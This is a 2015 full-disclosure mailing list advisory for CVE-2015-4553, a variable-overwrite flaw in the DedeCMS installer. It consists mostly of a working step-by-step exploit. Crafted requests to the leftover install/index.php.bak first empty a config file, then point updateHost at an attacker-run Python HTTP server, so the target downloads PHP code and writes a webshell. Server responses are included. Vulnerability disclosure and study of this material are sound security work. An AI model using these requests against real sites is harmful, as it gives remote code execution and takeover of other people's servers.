full-disclosure - [FD] [CVE-2015-4553]Dedecms variable coverage leads to getshell

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Date: Wed, 17 Jun 2015 15:37:07 +0800
From: zise.shi <zise.shi@...ppsecurity.com.cn>
To: fulldisclosure <fulldisclosure@...lists.org>
Cc: bugtraq <bugtraq@...urityfocus.com>, bugtrace <bugtrace@...il.com>
Subject: [FD] [CVE-2015-4553]Dedecms variable coverage leads to getshell

  [CVE-2015-4553]Dedecms variable coverage leads to getshell
#############################################################################
#
#   DBAPPSECURITY  LIMITED http://www.dbappsecurity.com.cn/
#
#############################################################################
#
# CVE ID:   CVE-2015-4553
# Subject:   Dedecms variable coverage leads to getshell
# Author:   zise
# Date:     06.17.2015
#############################################################################
Introduction:
========
dedecms Open source cms
Extensive application
 
Influence version 
Newest dedecms 5.7-sp1 and all old version


Remote getshell 
Details:
=======
After the default installation of dedecms
Installation directory
/install/index.php
or
/install/index.php.bak
 
/install/index.php //run iis apache exploit
/install/index.php.bak //run apache exploit
 
Step 1
#############################################################################
Clear file contents config_update.php
====File content====
<?php
$updateHost = 'http://updatenew.dedecms.com/base-v57/';
$linkHost = 'http://flink.dedecms.com/server_url.php';
========
 
http://192.168.204.135/install/index.php.bak
?step=11
&insLockfile=a
&s_lang=a
&install_demo_name=../data/admin/config_update.php
 
###
HTTP/1.1 200 OK
Date: Wed, 17 Jun 2015 06:55:23 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
Vary: User-Agent
Content-Length: 55
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
 
  <font color="red">[×]</font> 远程获取失败
 ###

###After execution file 0 byte ~ho~year~####
2015/06/17  14:55                 0 config_update.php
               1 file              0 byte
 
Step 2
#############################################################################
Create local HTTP services
 
zise:tmp zise$ ifconfig en0
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
inet 119.253.3.18 netmask 0xffffff00 broadcast  
 
zise:tmp zise$ mkdir "dedecms"
zise:tmp zise$ cd dedecms/
zise:dedecms zise$ echo "<?php phpinfo();?>" > demodata.a.txt
zise:dedecms zise$ cd ../
zise:tmp zise$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.204.135 - - [17/Jun/2015 15:11:18] "GET /dedecms/demodata.a.txt HTTP/1.0" 200 -
 
 
####
http://192.168.204.135/install/index.php.bak
?step=11
&insLockfile=a
&s_lang=a
&install_demo_name=hello.php
&updateHost=http://119.253.3.18:8000/
####
 
HTTP/1.1 200 OK
Date: Wed, 17 Jun 2015 07:11:18 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
Vary: Accept-Encoding,User-Agent
Content-Length: 81
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
 
  <font color="green">[√]</font> 存在(您可以选择安装进行体验)
 
Attack complete
you webshell
 
http://192.168.204.135/install/hello.php
 

======================
zise ^_^
zise.shi@...ppsecurity.com.cn 

Security researcher


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